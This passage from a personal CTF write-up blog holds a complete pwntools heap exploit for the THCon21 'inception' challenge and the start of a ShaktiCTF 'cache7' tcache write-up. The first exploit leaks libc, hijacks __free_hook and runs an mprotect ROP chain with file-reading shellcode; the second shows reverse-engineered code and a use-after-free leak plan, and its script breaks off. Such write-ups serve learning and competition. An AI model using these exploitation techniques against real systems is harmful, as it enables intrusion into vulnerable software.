<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x260</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">"2"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="c1">#delete(0)
</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>The entire payload was the following</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">context</span><span class="p">(</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span><span class="s">'-v'</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"./inception"</span> <span class="c1">## change for the challenge name
</span><span class="n">DEBUG</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">p_name</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span>
<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
<span class="n">commands</span> <span class="o">=</span> <span class="s">'''continue
b * add
b * delete
b * edit
b * view
b * {long long int}(&__free_hook)
'''</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">gdb</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">p_name</span><span class="p">],</span> <span class="n">gdbscript</span> <span class="o">=</span> <span class="n">commands</span><span class="p">,</span> <span class="n">exe</span> <span class="o">=</span> <span class="n">p_name</span><span class="p">,</span> <span class="n">env</span> <span class="o">=</span> <span class="p">{</span><span class="s">"LD_PRELOAD"</span><span class="p">:</span><span class="s">"./libc.so.6"</span><span class="p">})</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"remote2.thcon.party"</span><span class="p">,</span><span class="mi">10904</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">f</span><span class="p">():</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"> "</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">content</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">'size: '</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">'content: '</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">delete</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'2'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="n">b</span><span class="s">"index: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">content</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'3'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="n">b</span><span class="s">"index: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">)</span> <span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="n">b</span><span class="s">'content: '</span><span class="p">,</span> <span class="n">content</span> <span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">view</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span> <span class="n">leak</span> <span class="o">=</span> <span class="bp">False</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'4'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="n">b</span><span class="s">'index: '</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
<span class="k">if</span> <span class="n">leak</span><span class="p">:</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"content: "</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()[</span><span class="o">-</span><span class="mi">6</span><span class="p">:]</span>
<span class="k">print</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">return</span> <span class="n">leak</span>
<span class="n">f</span><span class="p">()</span>
<span class="c1">## begin
</span><span class="n">f</span><span class="p">()</span>
<span class="n">malloc</span><span class="p">(</span><span class="mh">0x500</span><span class="o">-</span><span class="mi">8</span> <span class="p">,</span> <span class="n">b</span><span class="s">'B'</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># 0
</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x30</span> <span class="p">,</span> <span class="n">b</span><span class="s">'C'</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># 1
</span><span class="n">delete</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mh">0x500</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'B'</span> <span class="o">*</span> <span class="mh">0x8</span><span class="p">)</span> <span class="c1"># 0
</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">view</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">leak</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">leak</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
<span class="n">libc_base</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x3ebca0</span>
<span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">libc_base</span>
<span class="n">free_hook</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'__free_hook'</span><span class="p">]</span>
<span class="n">mprotect</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'mprotect'</span><span class="p">]</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Libc leak: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Libc base: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span> <span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Free_hook: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'__free_hook'</span><span class="p">])</span> <span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mh">0x50</span> <span class="o">-</span> <span class="mi">8</span> <span class="p">,</span> <span class="n">b</span><span class="s">'D'</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># 2
</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x70</span> <span class="o">-</span> <span class="mi">8</span> <span class="p">,</span> <span class="n">b</span><span class="s">'E'</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># 3
</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x500</span> <span class="o">-</span> <span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'F'</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># 4
</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x20</span> <span class="p">,</span> <span class="n">b</span><span class="s">'E'</span> <span class="o">*</span> <span class="mh">0x4</span><span class="p">)</span> <span class="c1"># 5
</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'Y'</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x70</span> <span class="o">-</span> <span class="mh">0x10</span> <span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span> <span class="mh">0x600</span> <span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
<span class="c1">#yesno("delete?")
</span><span class="n">delete</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
<span class="c1"># Now, the chunk 4 is consolidated backwards, having a 0xb00 size chunk into the unsorted bin, which means, that freeing the middle chunks, we can overwrite those pointers by editting the new 0xb0 chunk
</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x4f0</span> <span class="o">+</span> <span class="mi">24</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mh">0x600</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span> <span class="c1"># 0
</span>
<span class="n">heap_base</span> <span class="o">=</span> <span class="n">view</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">leak</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">heap_base</span> <span class="o">=</span> <span class="n">heap_base</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">heap_base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">heap_base</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x10</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"The heap: @ </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">heap_base</span><span class="p">)</span> <span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x4f0</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'__free_hook'</span><span class="p">])</span> <span class="c1"># overwrite the fd pointer of a 0x40 chunk, in order to the second malloc, we'll get a reference to __free_hook
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="p">(</span><span class="mh">0x8</span> <span class="o">*</span> <span class="mi">5</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x51</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span><span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">payload</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span><span class="p">)</span> <span class="p">)</span> <span class="c1">#1
</span>
<span class="n">pop_4</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">address</span><span class="o">+</span><span class="mh">0x00000000000221fd</span> <span class="o">+</span><span class="mi">1</span><span class="c1"># : pop r13; pop r14; pop r15; pop rbp; ret;
</span><span class="n">rcx</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span><span class="mh">0x0000000000103d6a</span> <span class="c1">#: pop rcx; pop rbx; ret;
</span><span class="n">rdi</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x0000000000022203</span> <span class="c1"># : pop rdi; pop rbp; ret;
</span><span class="n">rsi</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x0000000000023eea</span> <span class="c1"># : pop rsi; ret;
</span><span class="n">rdx</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x0000000000001b96</span> <span class="c1"># : pop rdx; ret;
</span><span class="n">rdx_nopop</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x000000000014148d</span> <span class="c1"># : mov rdx, rax; ret;
</span><span class="n">dummy</span> <span class="o">=</span> <span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span><span class="mh">0x000000000009df8f</span><span class="c1">#: add rsp, 8; jmp rax;
</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
<span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">pop_4</span><span class="p">)</span> <span class="p">)</span> <span class="c1">#2 which is the __free_hook chunk
#malloc(0x40-8, p64(dummy2) ) #2 which is the __free_hook chunk
#yesno("what?")
</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x50</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'B'</span><span class="p">)</span> <span class="c1"># 4
</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x50</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="n">b</span><span class="s">'C'</span><span class="p">)</span> <span class="c1"># 5
</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Trigger mprotect ?"</span><span class="p">)</span>
<span class="n">main_rop</span> <span class="o">=</span> <span class="n">b</span><span class="s">''</span>
<span class="n">main_rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdx</span><span class="p">)</span>
<span class="n">main_rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x7</span><span class="p">)</span>
<span class="n">main_rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'mprotect'</span><span class="p">])</span>
<span class="n">main_rop</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x260</span> <span class="o">+</span> <span class="mi">32</span><span class="p">)</span>
<span class="n">main_rop</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">'''xor rax, rax
lea rdi, [rsp + 0x3e]
xor rsi, rsi
xor rdx, rdx
xor rax, rax
inc rax
inc rax
syscall
mov rdi, rax
lea rsi, [rsp+0x100]
mov rdx, 40
xor rax, rax
syscall
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall
'''</span><span class="p">)</span>
<span class="n">main_rop</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'/home/user/flag.txt</span><span class="se">\x00</span><span class="s">'</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">main_rop</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">'5'</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x0000000000003960</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x260</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">"2"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>With this, we can get the flag :D</p>
<p><img src="assets/2021_06_14_04_02_59.png" alt="" /></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>THCon21<span class="o">{</span>i5_7h15_b4byR0P_0r_B4byH34P???<span class="o">}</span>
</code></pre></div></div>
<p>Thanks to the <code class="highlighter-rouge">THC</code> team for the CTF,,,,
Hope that this make sense, any doubt, just ping me,</p>
<p>be safe,</p>
<p>cheers!</p>
<center>kjj</center>f4d3Hi everyone! Hope that everything’s doing good :D!ShaktiCTF{cache7}2021-04-05T15:05:00-04:002021-04-05T15:05:00-04:00https://f4d3.io/shaktictf-cache7<p>Hi everyone!</p>
<p>This week we played on <code class="highlighter-rouge">ShaktiCTF</code>, very funny ctf, kudos to the organizers.</p>
<p>Now, I’ll cover an interesting <code class="highlighter-rouge">pwn - heap</code> challenge, that the main focus was on tcache.</p>
<h1 id="summary">Summary</h1>
<p>The challenge give us the <code class="highlighter-rouge">challenge</code> and the respective <code class="highlighter-rouge">libc</code>, which is the <strong>ubuntu classic 2.27</strong> (introduction of tcache). A 64-bit binary, <code class="highlighter-rouge">FULL RELRO + canary + NX + ASLR</code>.</p>
<ul>
<li><a href="assets/chall">challenge</a></li>
<li><a href="assets/ld-2.27.so">ld-2.27.so</a></li>
<li><a href="assets/libc-2.27.so">libc</a></li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@eef19a26f206:/ctf/work# checksec chall
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/ctf/work/chall'</span>
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE <span class="o">(</span>0x3ff000<span class="o">)</span>
root@eef19a26f206:/ctf/work#
</code></pre></div></div>
<p>By running it with the custom <code class="highlighter-rouge">libc</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@eef19a26f206:/ctf/work: <span class="nv">LD_PRELOAD</span><span class="o">=</span>./libc-2.27.so ./chall
1. add
2. view
3. delete
4. quit
choice :
1
enter the size
10
Enter data
as
1. add
2. view
3. delete
4. quit
choice :
</code></pre></div></div>
<p>We’re in front of a classic <code class="highlighter-rouge">memory allocation CTF program</code>, lets reverse it.</p>
<h1 id="recon">recon</h1>
<p>From the <code class="highlighter-rouge">ASM</code>, we can see 3 options:</p>
<ul>
<li>1.- add</li>
<li>2.- view</li>
<li>3.- delete</li>
<li>4.- exit</li>
</ul>
<p><img src="assets/2021_04_05_15_26_17.png" alt="" /></p>
<h2 id="add">add()</h2>
<p>It simply asks for a <code class="highlighter-rouge">buf_size</code>, then, create a chunk of the respective size and <code class="highlighter-rouge">read(0, &buf, buf_size);</code> to it.
The chunk reference is saved on a <code class="highlighter-rouge">bss pointer</code> named <code class="highlighter-rouge">ptr</code>, our playing chunk will be the <code class="highlighter-rouge">last one malloc'ed</code>.</p>
<p>Note that we can only alloc chunks of <code class="highlighter-rouge">size <= 0xff</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int64_t add<span class="o">()</span>
0040087e void<span class="k">*</span> fsbase
0040087e int64_t rax <span class="o">=</span> <span class="k">*</span><span class="o">(</span>fsbase + 0x28<span class="o">)</span>
00400892 puts<span class="o">(</span>str: <span class="s2">"enter the size"</span><span class="o">)</span>
004008a8 int32_t buf_size
004008a8 __isoc99_scanf<span class="o">(</span>format: <span class="s2">"%d"</span>, &buf_size<span class="o">)</span>
004008b0 <span class="k">if</span> <span class="o">(</span>buf_size s<<span class="o">=</span> 0xff<span class="o">)</span>
004008c4 <span class="k">*</span>ptr <span class="o">=</span> malloc<span class="o">(</span>bytes: sx.q<span class="o">(</span>buf_size<span class="o">))</span>
004008d0 puts<span class="o">(</span>str: <span class="s2">"Enter data"</span><span class="o">)</span>
004008ea <span class="nb">read</span><span class="o">(</span>fd: 0, buf: <span class="k">*</span>ptr, nbytes: sx.q<span class="o">(</span>buf_size<span class="o">))</span>
004008f4 int64_t rax_10 <span class="o">=</span> rax ^ <span class="k">*</span><span class="o">(</span>fsbase + 0x28<span class="o">)</span>
00400905 <span class="k">if</span> <span class="o">(</span>rax_10 <span class="o">==</span> 0<span class="o">)</span>
00400905 <span class="k">return </span>rax_10
004008ff __stack_chk_fail<span class="o">()</span>
004008ff noreturn
</code></pre></div></div>
<h2 id="view">view()</h2>
<p>Write the value inside of the <code class="highlighter-rouge">bss pointer</code> (previously written by malloc).</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int64_t view<span class="o">()</span>
0040090f puts<span class="o">(</span>str: <span class="s2">"Printing the data inside"</span><span class="o">)</span>
00400925 <span class="k">return </span>puts<span class="o">(</span>str: <span class="k">*</span>ptr<span class="o">)</span>
</code></pre></div></div>
<h2 id="delete">delete()</h2>
<p>Here, we have a classic <code class="highlighter-rouge">UAF</code>, since the pointer is not <code class="highlighter-rouge">NULL'ed</code> after being freed. This allows us to keep viewing it by using the <code class="highlighter-rouge">view();</code> function.
Also, we can keep freeing the <strong>same pointer over and over again</strong>… (this will come handy later).</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int64_t delete<span class="o">()</span>
0040092f puts<span class="o">(</span>str: <span class="s2">"Deleting..."</span><span class="o">)</span>
00400945 <span class="k">return </span>free<span class="o">(</span>mem: <span class="k">*</span>ptr<span class="o">)</span>
</code></pre></div></div>
<h1 id="exploit">Exploit</h1>
<p>The first thing that we need to think is to make a <code class="highlighter-rouge">libc leak</code>, since <code class="highlighter-rouge">ASLR is on</code>.<br />
To achieve it, we can abuse the <code class="highlighter-rouge">UAF</code> bug, but how we write a <code class="highlighter-rouge">libc address</code> to our chunk?.</p>
<p>Well, we first need to make one chunk-insertion to the <code class="highlighter-rouge">unsorted bin</code>, since the respective <code class="highlighter-rouge">chunk->fd</code>, will point to the respective <code class="highlighter-rouge">bin entry</code>.</p>
<p>To achieve that, first, we need to <code class="highlighter-rouge">fill the entire tcache[idx=size]</code> (we can achieve this by freeing multiples times (<strong>7 times</strong>) the same (target) chunk.</p>
<p>Things to consider:</p>
<ul>
<li>To reach the <code class="highlighter-rouge">unsorted_bin</code>, we need to use some size outside the bounds of the respective <code class="highlighter-rouge">fast_bins</code>, if not, our chunk is gonna be placed into the fastbins instead of the unsorted bin.</li>
<li>The <code class="highlighter-rouge">target chunk</code> can’t be at the end of the heap, since we need to avoid the <code class="highlighter-rouge">consolidation</code>.</li>
</ul>
<p>I’ll make the code self commented in order to understand :D</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">context</span><span class="p">(</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span> <span class="s">"-h"</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"./chall"</span> <span class="c1">## change for the challenge name
</span><span class="n">DEBUG</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
<span class="n">commands</span> <span class="o">=</span> <span class="s">'''b * 0x4008bf
b * 0x40093e
'''</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">gdb</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">p_name</span><span class="p">],</span> <span class="n">gdbscript</span> <span class="o">=</span> <span class="n">commands</span><span class="p">,</span> <span class="n">exe</span> <span class="o">=</span> <span class="n">p_name</span><span class="p">,</span> <span class="n">env</span> <span class="o">=</span> <span class="p">{</span><span class="s">"LD_PRELOAD"</span><span class="p">:</span><span class="s">"./libc-2.27.so"</span><span class="p">})</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"34.121.211.139"</span><span class="p">,</span><span class="mi">4444</span><span class="p">)</span>
<span class="s">'''
1. add
2. view
3. delete
4. quit
choice :
'''</span>
<span class="k">def</span> <span class="nf">f</span><span class="p">():</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">"choice :"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">malloc_do</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">'size'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">'data'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">send_raw</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">free_do</span><span class="p">():</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'3'</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">view_do</span><span class="p">():</span>
